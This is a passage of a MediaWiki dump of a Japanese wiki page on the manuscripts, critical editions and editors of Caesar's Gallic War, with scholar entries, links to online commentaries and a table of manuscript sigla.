*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Jakob Friedrich von Rösch (Roesch)(1743-1841)&lt;/span&gt;&lt;ref&gt;[[w:de:Jakob Friedrich Rösch]]&lt;/ref&gt;&lt;ref&gt;[https://www.worldcat.org/title/commentar-uber-die-commentarien-des-caesar-als-eine-beantwortung-der-remarques-sur-cesar-des-hernn-general-major-von-w-nebst-beitraegen-zur-roemischen-taktik/oclc/759572811&amp;referer=brief_results Commentar über die Commentarien des Caesar : als eine Beantwortung der Remarques sur Cesar des Hernn General-Major von W. ; nebst Beitraegen zur Roemischen Taktik (書籍, 1783) [WorldCat.org] ]の著者を参照。&lt;/ref&gt;
*:18～19世紀･ドイツの数学者・軍事科学者・歴史家・建築家。古代史や芸術史の出版を行なっている。この人物であろう。
:※ &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Pontet&lt;/span&gt; は &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Rösch&lt;/span&gt; 、&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Constans, Seel&lt;/span&gt; は &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Roesch&lt;/span&gt; と表記して引用。
::[[ガリア戦記 第2巻/注解/17節|『ガリア戦記』第2巻17節]]など。

===R.Schneider===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:de:Rudolf Schneider (Historiker)|Rudolf Schneider (1852-1911)]]&lt;/span&gt;　（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;RSchn.&lt;/span&gt;）　ドイツの軍事史家。
*:'''著作集'''：&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[s:de:Rudolf Schneider]]&lt;/span&gt;

===Scaliger===
{{Wikipedia|ジュール・セザール・スカリジェ|スカリジェ}}
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:Iulius Caesar Scaliger|Iulius Caesar Scaliger (1484-1558)]]&lt;/span&gt;　（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Scal.&lt;/span&gt; ：仏語名 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:fr:Jules César Scaliger|Jules César Scaliger]]&lt;/span&gt;）
*:イタリア出身のフランスの人文主義者・医師。
===Schiller===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:de:Hermann Schiller|Hermann Schiller (1839-1902)]]&lt;/span&gt;
*:ドイツの教育者。文法学校長、のちに[[w:ユストゥス・リービッヒ大学ギーセン|ギーセン大学]]教授。&lt;br&gt;　『ローマ帝国史』（三部構成、全2巻）の著者。　『ガリア戦記』の校訂者ではない。
*:'''著作''': &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;''Geschichte der Römischen Kaiserzeit''. 2 Bände in 3 Teilen. Perthes, Gotha 1883/1887.&lt;/span&gt;&lt;ref&gt;[https://www.worldcat.org/title/geschichte-der-romischen-kaiserzeit/oclc/781989391 Geschichte der römischen Kaiserzeit (書籍, 1883) [WorldCat.org] ]&lt;/ref&gt;
===Schneider===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:12pt;&quot;&gt;[[w:de:Karl Ernst Christoph Schneider|Karl Ernst Christoph Schneider  (1786-1856)]]&lt;/span&gt;（ドイツの文献学者） ⇒ &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[#Schneider,K.E.Chr.]]&lt;/span&gt;
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:12pt;&quot;&gt;[[w:de:Rudolf Schneider (Historiker)|Rudolf Schneider (1852-1911)]]&lt;/span&gt;（ドイツの軍事史家） ⇒ &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[#R.Schneider]]&lt;/span&gt;
===Schneider,K.E.Chr.===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:de:Karl Ernst Christoph Schneider|Karl Ernst Christoph Schneider (1786-1856)]]&lt;/span&gt;　&lt;!--（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;&lt;/span&gt;)--&gt;
*:カール・エルンスト・クリストフ・シュナイダー：18～19世紀ドイツの文献学者

===Spillmann===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Emil Spillmann&lt;/span&gt;
*:&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Caesariana, by Emil Spillmann (St. Gallen, 1878)&lt;/span&gt; の著者。
===Stephanus (Estienne)===
{{Wikipedia|ロベール・エティエンヌ|ロベール・エティエンヌ}}
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Robertus Stephanus&lt;/span&gt;（仏語名 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:fr:Robert Estienne|Robert Estienne (1503-1559)]]&lt;/span&gt;; [[w:en:Robert Estienne|en]]）
*:ロベルトゥス・ステファヌス&lt;small&gt;（ラテン語名）&lt;/small&gt;
*:ロベール・エティエンヌ&lt;small&gt;（仏語名）&lt;/small&gt;
*::16世紀フランスの古典学者・印刷業者

===Ursinus===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:Fulvius Ursinus|Fulvius Ursinus (1529-1600)]]&lt;/span&gt;（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Ursin.&lt;/span&gt; ； イタリア語名 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:en:Fulvio Orsini|Fulvio Orsini]]&lt;/span&gt; [[w:フルヴィオ|フルヴィオ]]・[[w:オルシーニ家|オルシーニ]]）
*:'''フルヴィオ・オルシーニ'''：16世紀イタリアの人文主義者・史家・考古学者。幾人もの教皇を輩出した中世ローマの有力貴族[[w:オルシーニ家|オルシーニ家]]の出身で、多くの古典を収集して図書館を建て、ローマ教皇庁の[[w:バチカン図書館|バチカン図書館]]に遺贈した。
*'''著作''' &lt;ref&gt;[https://search.worldcat.org/ja/search?q=au%3D%22Orsini%2C+Fulvio%22&amp;author=Orsini%2C+Fulvio au=&quot;Orsini, Fulvio&quot; - 検索結果] (WorldCat.org)&lt;/ref&gt;
*'''校訂版'''：&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;C. Iulii Caesaris Commentariorum De bello Gallico, libri 8 Ciuili Pompeiano, libri 3 (1571)&lt;/span&gt; &lt;ref&gt;[https://search.worldcat.org/ja/title/1266402981 C. Iulii Caesaris Commentariorum De bello Gallico, libri 8 Ciuili Pompeiano, libri 3 Alexandrino, lib. 1 Africano, lib. 1 Hispaniensi, lib. 1 eiusdem fragmenta a Fuluio Vrsino collecta Galliae, Hispaniae, locorumque insignium, pictura. Nomina tum uetera, tum recentia, explanata variae lectiones Scholia Aldi Manutii Paulli f. Aldi n | WorldCat.org]&lt;/ref&gt; ほか

===Vascosanus===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Michael Vascosanus&lt;/span&gt;（仏語名 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:fr:Michel de Vascosan|Michel de Vascosan (1500-1576/77)]]&lt;/span&gt; ）
*:16世紀フランスの司書・印刷業者&lt;ref&gt;[http://worldcat.org/identities/lccn-nr95024401/ Vascosan, Michel de -approximately 1577 [WorldCat Identities] ]&lt;/ref&gt;&lt;ref&gt;[https://portail.biblissima.fr/ark:/43093/pdatac02439a6e1fbf35c63e1c29d7cf7a29f4001ed1a Michel de Vascosan (1500-1577)  Biblissima] &lt;/ref&gt;&lt;ref&gt;[https://viaf.org/viaf/27118843/ 27118843 - VIAF]&lt;/ref&gt;。
===Vossius===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:en:Dionysius Vossius|Dionysius Vossius (1612–1633)]]&lt;/span&gt;（オランダ語名 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Dionies Vos&lt;/span&gt;）
*:17世紀オランダの翻訳者
*'''校訂版'''：&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;C. Julius Caesar's Commentaries On The Gallic War, From The Text Of [[#Oudendorpius|Oudendorp]]: With a Selection Of Notes From Dionysius Vossius, From Drs. Davies And Clarke, From Oudendorp, And Other Editors And Philologists &lt;!--(Classic Reprint)--&gt;&lt;/span&gt;&lt;ref&gt;[https://www.amazon.co.jp/Julius-Caesars-Commentaries-Gallic-Oudendorp/dp/1390618587 Amazon | C. Julius Caesar's Commentaries On The Gallic War, From The Text Of Oudendorp: With a Selection Of Notes From Dionysius Vossius, From Drs. Davies And Clarke, From Oudendorp, And Other Editors And Philologists (Classic Reprint) | Caesar, Gaius Julius | Instruction]&lt;/ref&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;&lt;/span&gt;

===Whitte===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Hans Kofod Whitte (1810-1894)&lt;/SPAN&gt;
*:19世紀デンマークの古典学者・高校教師&lt;ref&gt;[https://www.ancestry.com/genealogy/records/hans-kofod-whitte-24-6l20z1 Hans Kofod Whitte, b.1810 d.1894 - Ancestry®]&lt;/ref&gt;。1886年に『ガリア戦記』の注釈書を著わしている。
;著作 &lt;ref&gt;[https://onlinebooks.library.upenn.edu/webbin/book/lookupname?key=Whitte%2C%20Hans%20Kofod%2C%201810%2D1894 Whitte, Hans Kofod, 1810-1894 | The Online Books Page]&lt;/ref&gt;
# Collatio codicum II havniensium cum editione elberlingiana G. Julii Caesaris Commenttt. (B. Lunos, 1847) &lt;ref&gt;[https://catalog.hathitrust.org/Record/001724964 Catalog Record: Collatio codicum II havniensium cum editione... | HathiTrust Digital Library]&lt;/ref&gt;
# Gaji Julii Caesaris De bello gallico commentariorum libri septem et octavus A. Hirtii; in usum scholarum (Impensis librariae Gyldendalianae (F. Hegel &amp; fil), 1886)&lt;ref&gt;[https://catalog.hathitrust.org/Record/006540375 Catalog Record: Gaji Julii Caesaris De bello gallico... | HathiTrust Digital Library]&lt;/ref&gt;

===Zeuss===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:de:Johann Kaspar Zeuß|Johann Kaspar Zeuß (Zeuss)(1806-1856)]]&lt;/span&gt;
**ドイツの文献学者・史家で、ケルト文献学の創始者。
===Zucker===

&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;/span&gt;

&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;&lt;/span&gt;

==注釈書等==

:[[#オンライン注釈書等]]も参照。


== 脚注 ==
{{Reflist}}
== 関連項目 ==
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記/注解編]]　{{進捗|00%|2020-03-27}}&lt;/span&gt;
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記/用例集]]　{{進捗|00%|2020-03-29}}&lt;/span&gt;
== 外部リンク ==

===オンライン注釈書等===

&lt;div style=&quot;background-color:#eeeeee;&quot;&gt;
====Caesar's Gallic war : notes by F. W. Kelsey (1897)====
:C. Iuli Caesaris De bello gallico libri VII : 
::Caesar's Gallic war : with an introduction, notes, and vocabulary
::: by [[w:en:Francis Kelsey|Francis Willey Kelsey (1858-1927)]], Fifteenth Edition (1897)
:::: (HathiTrust Digital Library　[[w:ハーティトラスト|ハーティトラスト・デジタルライブラリ]]で電子化)
:: [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=19 Contents] (#19)

;:─TEXT─
:: '''Book 1''' ： [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=77 Commentarius Primus] &amp;nbsp;&amp;nbsp; (#77) 
:: '''Book 2''' ： [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=119 Commentarius Secundus] (#119)
:: '''Book 3''' ： [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=144 Commentarius Tertius] &amp;nbsp;&amp;nbsp; (#144)
:: '''Book 4''' ： [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=162 Commentarius Quartus] &amp;nbsp; (#162)
:: '''Book 5''' ： [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=186 Commentarius Quintus] &amp;nbsp; (#186)
:: '''Book 6''' ： [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=219 Commentarius Sextus] &amp;nbsp; (#219)
:: '''Book 7''' ： [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=243 Commentarius Septimus] &amp;nbsp; (#243)

;:─NOTES─
:: '''Book 1''' ： [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=307 Book I.] (#307) ; [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=332 The Campaign against Ariovistus] (#322)
:: '''Book 2''' ： [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=332 Book II.] (#332)
:: '''Book 3''' ： [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=380 Book III.] (#380)
:: '''Book 4''' ： [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=395 Book IV.] (#395)
:: '''Book 5''' ： [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=416 BOOK V.] (#416)
:: '''Book 6''' ： [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=441 BOOK VI.] (#441)
:: '''Book 7''' ： [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=460 BOOK VII.] (#460)
:::: [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=494 The Routes of Caesar] (#494)
:::: [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=495 On the Study of Caesar] (#495)
:::: [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=497 Helps to the Study of Caesar] (#497)
:: [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=499 Idioms and Phrases] (#499), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=506 #506], [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=507 #507], [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=508 #508]
:: [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=515 Vocabulary] (#515); [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=517 Vocabulary Ａ] (#517), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=529 Ｂ], ～ , [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=635 Ｖ].
&lt;/div&gt;


&lt;div style=&quot;background-color:#eeeeee;&quot;&gt;
====Caesar's Gallic war : edited by F. W. Kelsey (1903)====
:C. Iulii Caesaris Commentarii rerum gestarum.
::Caesar's Commentaries: the Gallic war, books I-Iv, with selections from books V-VII and from the civil war;
:::with an introduction, notes, a companion to Caesar and a vocabulary, 
:::: by [[w:en:Francis Kelsey|Francis Willey Kelsey (1858-1927)]], Fifteenth Edition (1897)
::::: (HathiTrust Digital Library　[[w:ハーティトラスト|ハーティトラスト・デジタルライブラリ]]で電子化)
*[https://catalog.hathitrust.org/Record/000441877 Catalog Record: C. Iulii Caesaris Commentarii rerum gestarum....] (HathiTrust Digital Library)

&lt;/div&gt;


====Harkness, Albert (1889)====
&lt;span style=&quot;font-family:Times New Roman;font-style:normal;&quot;&gt;&lt;span style=&quot;font-size:15pt;&quot;&gt;Caesar's Commentaries on the Gallic War, 　&lt;/span&gt;&lt;span style=&quot;font-size:13pt;&quot;&gt;with notes, dictionary, and a map of Gaul.&lt;/span&gt;&lt;br&gt;　　&lt;span style=&quot;font-size:15pt;&quot;&gt;
　　edited by &lt;u&gt;[[w:en:Albert Harkness|Albert Harkness (1822-1907)]]&lt;/u&gt; &lt;ref&gt;[https://onlinebooks.library.upenn.edu/webbin/book/lookupname?key=Harkness%2C%20Albert%2C%201822%2D1907 Harkness, Albert, 1822-1907 | The Online Books Page]&lt;/ref&gt;, New York, [[w:en:D. Appleton &amp; Company|D. Appleton and Company]], 1889 (Rivised Edition)&lt;/span&gt;&lt;/span&gt;
::Caesar's commentaries on the Gallic war; with notes, dictionary, ... (Full View | HathiTrust Digital Library)
;　BOOK FIRST
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn3hve&amp;view=1up&amp;seq=273 #273]
;　BOOK SECOND
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn3hve&amp;view=1up&amp;seq=316 #316]
;　BOOK THIRD
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn3hve&amp;view=1up&amp;seq=331 #331]
;　BOOK FOURTH
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn3hve&amp;view=1up&amp;seq=341 #341]
;　BOOK FIFTH
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn3hve&amp;view=1up&amp;seq=354 #354]
;　BOOK SIXTH
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn3hve&amp;view=1up&amp;seq=365 #365]
;　BOOK SEVENTH
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn3hve&amp;view=1up&amp;seq=373 #373]
;　DICTIONARY
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn3hve&amp;view=1up&amp;seq=387 #387]


&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;/span&gt;

&lt;pre&gt;


&lt;/pre&gt;

===そのほか===
;Internet Archive
*[https://archive.org/ archive.org/] ([[w:インターネットアーカイブ|Internet Archive]])
**[https://archive.org/details/commentariidebel00caesuoft/page/n7/mode/2up Commentarii de bello Gallico et civili; accedunt libri de bello Alexandrino, Africano, et Hespaniensi; : Caesar, Julius : Free Download, Borrow, and Streaming : Internet Archive]

;WorldCat.org
* [https://search.worldcat.org/ WorldCat.org]

;www.jstor.org
* [https://www.jstor.org/stable/849662?seq=17 Caesar B. G., III., 12, 1-A Review and an Interpretation on JSTOR]
** [https://www.jstor.org/stable/pdf/849662.pdf Caesar B. G., III., 12, 1-A Review and an Interpretation]

[[Category:ガリア戦記|*#]]</text>
      <sha1>scmrzjc01tn8wk4b833ba3qlfw895ko</sha1>
    </revision>
    <revision>
      <id>305267</id>
      <parentid>305265</parentid>
      <timestamp>2026-11-01T09:10:03Z</timestamp>
      <contributor>
        <username>Linguae</username>
        <id>449</id>
      </contributor>
      <comment>/* Zucker */</comment>
      <origin>305267</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="80694" sha1="1c9o8rtkwj47j6tvyzdzg80odh46mzz" xml:space="preserve">{| id=&quot;toc&quot; style=&quot;align:center;clear:all;&quot; align=&quot;center&quot; cellpadding=&quot;5&quot;
|-
! style=&quot;background:#ccf; text-align:center;&quot; |&amp;nbsp; [[ガリア戦記/注解編|ガリア戦記 注解編]] &amp;nbsp;
| style=&quot;background:#eef; text-align:center;&quot; |
&amp;nbsp;[[ガリア戦記 第1巻/注解|第1巻]] |
&amp;nbsp;[[ガリア戦記 第2巻/注解|第2巻]] |
&amp;nbsp;[[ガリア戦記 第3巻/注解|第3巻]] |
&amp;nbsp;[[ガリア戦記 第4巻/注解|第4巻]] |
&amp;nbsp;[[ガリア戦記 第5巻/注解|第5巻]] |
&amp;nbsp;[[ガリア戦記 第6巻/注解|第6巻]] |
&amp;nbsp;[[ガリア戦記 第7巻/注解|第7巻]] &amp;nbsp;
|}

『[[ガリア戦記]]』の主要な写本、参照したおもな校訂版や[[#クリティカル・アパラトゥスとその略号|アパラトゥス]]、校訂者や文献学者などを紹介する。
# [[#主要な写本]]
# [[#その他の写本]]
#* [[#写本の系図]]
# [[#クリティカル・アパラトゥスとその略号]]
#* [[#Editio princeps]]
# [[#校訂版]]
# [[#おもな校訂者（校訂版）などの人名]]
# [[#注釈書等]]
# [[#外部リンク]]
#* [[#オンライン注釈書等]]


== 主要な写本 ==
下表に、『ガリア戦記』の校訂に用いられる主要な写本を一覧する。用いられる写本は、&lt;u&gt;[[#クリティカル・アパラトゥスとその略号|アパラトゥス]]が詳しい&lt;/u&gt; クロッツ（&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Klotz&lt;/span&gt;）とゼール（&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Seel&lt;/span&gt;）による&lt;span style=&quot;font-size:13pt;&quot;&gt;トイプナー叢書（&lt;span style=&quot;font-family:Times New Roman;&quot;&gt;[[w:la:Bibliotheca scriptorum Graecorum et Romanorum Teubneriana|Bibliotheca Teubneriana]]&lt;/span&gt;）版 &lt;/span&gt; および コンスタン（&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Constans&lt;/span&gt;）による&lt;span style=&quot;font-size:13pt;&quot;&gt;ビュデ叢書（&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;&quot;&gt;[[w:la:Collection des Universités de France|Collection Budé]]&lt;/span&gt;）版&lt;/span&gt; でほぼ同じであるが、写本を示す略記号がいくらか異なるので、併記した。

{| class=&quot;wikitable&quot; cellspacing=1
|- style=&quot;font-family:Times New Roman;&quot;
! colspan=&quot;2&quot;  style=&quot;font-size:18pt;&quot; |Bibliotheca Teubneriana
! rowspan=&quot;15&quot; |
! colspan=&quot;2&quot;  style=&quot;font-size:18pt;&quot; |Collection Budé
! rowspan=&quot;15&quot;|
! colspan=&quot;2&quot; |日本語説明&lt;ref name=&quot;kunihara&quot;&gt;『ガリア戦記』の写本の事情については、日本語では[[w:国原吉之助|國原吉之助]]訳 『ガリア戦記』 （[[w:講談社学術文庫|講談社学術文庫]]、1994年）の巻末解説を参照。&lt;/ref&gt;
|-
!記号
! style=&quot;width:23em;&quot; |写本説明 （ラテン語）
!記号
! style=&quot;width:23em;&quot; |写本説明 （ラテン語・仏語）
! style=&quot;width:5em;&quot; |写本名
! style=&quot;width:8em;&quot; |所蔵図書館・登録番号、年代
|- style=&quot;font-family:Times New Roman;&quot;
! style=&quot;font-size:15pt;&quot; |A
| style=&quot;font-size:12pt;background-color:#ffd;&quot; |codex Amstelodamensis 81 s. IX/X
! style=&quot;font-size:15pt;&quot; |A
| style=&quot;font-size:12pt;background-color:#ffd;&quot; |''Bongarsianus''. Amsterdam, 81. IX&lt;sup&gt;e&lt;/sup&gt;-X&lt;sup&gt;e&lt;/sup&gt; siècle.
!アムステ&lt;br&gt;ルダム本
| style=&quot;font-size:9pt;&quot; |アムステルダム図書館蔵、81番、9～10世紀
|- style=&quot;font-family:Times New Roman;&quot;
! style=&quot;font-size:15pt;color:#f55;&quot; |Q
| style=&quot;font-size:13pt;background-color:#ffd;&quot; |codex Parisinus&lt;br&gt; (olim Moysiacensis) Lat. 5056 s. XII
! style=&quot;font-size:15pt;color:#f55;&quot; |M
| style=&quot;font-size:12pt;background-color:#ffd;&quot; |''Moysiacensis''. Paris, [[w:fr:Bibliothèque nationale de France|Bibl. Nat.]], lat.5056. XII&lt;sup&gt;e&lt;/sup&gt; siècle.
!パリ本
| style=&quot;font-size:9pt;&quot; |パリ、[[w:フランス国立図書館|仏国立図書館]]蔵、5056番、12世紀
|- style=&quot;font-family:Times New Roman;&quot;
! style=&quot;font-size:15pt;&quot; |B
| style=&quot;font-size:13pt;background-color:#ffd;&quot; |codex Parisinus Lat. 5763 s. X
! style=&quot;font-size:15pt;&quot; |B
| style=&quot;font-size:12pt;background-color:#ffd;&quot; |''Parisinus''. Paris, [[w:fr:Bibliothèque nationale de France|Bibl. Nat.]], lat.5763. IX&lt;sup&gt;e&lt;/sup&gt;-X&lt;sup&gt;e&lt;/sup&gt; siècle.
!パリ本
| style=&quot;font-size:9pt;&quot; |パリ、[[w:フランス国立図書館|仏国立図書館]]蔵、5763番、9～10世紀
|- style=&quot;font-family:Times New Roman;&quot;
! style=&quot;font-size:15pt;&quot; |C
| style=&quot;font-size:13pt;background-color:#ffd;&quot; |codex Vossianus Leidensis 53 s. XI
| colspan=&quot;2&quot;|
!ライデン本
| style=&quot;font-size:9pt;&quot; |[[w:ライデン|ライデン]]、[[:c:Category:Leiden University Library|図書館蔵]]、53番、11世紀
|- style=&quot;font-family:Times New Roman;&quot;
! style=&quot;font-size:15pt;color:#f55;&quot; |M
| style=&quot;font-size:13pt;background-color:#ffd;&quot; |codex Vaticanus Lat. 3864 s. X
! style=&quot;font-size:15pt;color:#f55;&quot; |R
| style=&quot;font-size:12pt;background-color:#ffd;&quot; |''Romanus''. [[w:fr:Rome|Rome]], [[w:fr:Bibliothèque apostolique vaticane|Bibl. Vat.]], 3864. X&lt;sup&gt;e&lt;/sup&gt; siècle.
!ヴァチカン本
| style=&quot;font-size:9pt;&quot; |ローマ、[[w:バチカン図書館|バチカン図書館]]蔵、3864番、10世紀
|- style=&quot;font-family:Times New Roman;&quot;
! style=&quot;font-size:15pt;&quot; |S
| style=&quot;font-size:13pt;background-color:#ffd;&quot; |codex Laurentianus&lt;br&gt; (olim Ashburnhamensis) R33 s. X
! style=&quot;font-size:15pt;&quot; |S
| style=&quot;font-size:12pt;background-color:#ffd;&quot; |''Ashburnhamianus''. [[w:fr:Florence|Florence]], [[w:fr:Bibliothèque Laurentienne|Bibl. Laur.]], Ashburn. R. 33. X&lt;sup&gt;e&lt;/sup&gt; siècle.
!アッシュバ&lt;br&gt;ンハム本
| style=&quot;font-size:9pt;&quot; |フィレンツェ、[[w:en:Laurentian Library|メディチ・ロレンツォ図書館]]蔵、R33番、10世紀
|- style=&quot;font-family:Times New Roman;&quot;
! style=&quot;font-size:15pt;&quot; |L
| style=&quot;font-size:13pt;background-color:#ffd;&quot; |codex [[w:la:Museum Britannicum|musei Britannici]]&lt;br&gt; (olim Lovaniensis) Add. 10084 s. XI
! style=&quot;font-size:15pt;&quot; |L
| style=&quot;font-size:12pt;background-color:#ffd;&quot; |''Louaniensis''. [[w:fr:Londres|Londres]], [[w:fr:British Museum|Brit. Mus.]], Add. MSS. 10084. XI&lt;sup&gt;e&lt;/sup&gt; siècle.
!大英博物館本
| style=&quot;font-size:9pt;&quot; |ロンドン、[[w:大英博物館|大英博物館]]蔵、追加10084番、11世紀
|- style=&quot;font-family:Times New Roman;&quot;
! style=&quot;font-size:15pt;&quot; |N
| style=&quot;font-size:13pt;background-color:#ffd;&quot; |codex Neapolitanus IV c.11 s. XII/XIII
! style=&quot;font-size:15pt;&quot; |N
| style=&quot;font-size:12pt;background-color:#ffd;&quot; |''Neapolitanus''. [[w:fr:Naples|Naples]], [[w:fr:Biblioteca nazionale Vittorio Emanuele III|Bibl. Nat.]], IV, c. 11. XII&lt;sup&gt;e&lt;/sup&gt; siècle.
!ナポリ本
| style=&quot;font-size:9pt;&quot; |ナポリ、[[w:en:Biblioteca Nazionale Vittorio Emanuele III|国立図書館]]蔵、IV c.11番、12～13世紀
|- style=&quot;font-family:Times New Roman;&quot;
! style=&quot;font-size:15pt;&quot; |T
| style=&quot;font-size:13pt;background-color:#ffd;&quot; |codex Parisinus&lt;br&gt; (olim I.A.Thuani) Lat. 5764 s. XI
! style=&quot;font-size:15pt;&quot; |T
| style=&quot;font-size:12pt;background-color:#ffd;&quot; |''Thuaneus''. Paris, [[w:fr:Bibliothèque nationale de France|Bibl. Nat.]], lat. 5764. XI&lt;sup&gt;e&lt;/sup&gt; siècle.
!トゥー本
| style=&quot;font-size:9pt;&quot; |パリ、[[w:フランス国立図書館|仏国立図書館]]蔵、5764番、11世紀
|- style=&quot;font-family:Times New Roman;&quot;
! style=&quot;font-size:15pt;color:#f55;&quot; |V
| style=&quot;font-size:13pt;background-color:#ffd;&quot; |codex Vindobonensis 95 s. XII
! style=&quot;font-size:15pt;color:#f55;&quot; |''f''
| style=&quot;font-size:12pt;background-color:#ffd;&quot; |''Vindobonensis''. [[w:fr:Vienne (Autriche)|Vienne]], 95. XII&lt;sup&gt;e&lt;/sup&gt; siècle.
!ウィーン本
| style=&quot;font-size:9pt;&quot; |ウィーン、[[w:オーストリア国立図書館|国立図書館]]、95番、12世紀
|- style=&quot;font-family:Times New Roman;&quot;
! style=&quot;font-size:15pt;&quot; |U
| style=&quot;font-size:13pt;background-color:#ffd;&quot; |codex Vaticanus&lt;br&gt; (olim Fulvii Ursicini) Lat. 3324 s. XI/XII
! style=&quot;font-size:15pt;&quot; |U
| style=&quot;font-size:12pt;background-color:#ffd;&quot; |''Ursinianus''. [[w:fr:Rome|Rome]], [[w:fr:Bibliothèque apostolique vaticane|Bibl. Vat.]], 3324. XI&lt;sup&gt;e&lt;/sup&gt; siècle.
!ウルシヌス本
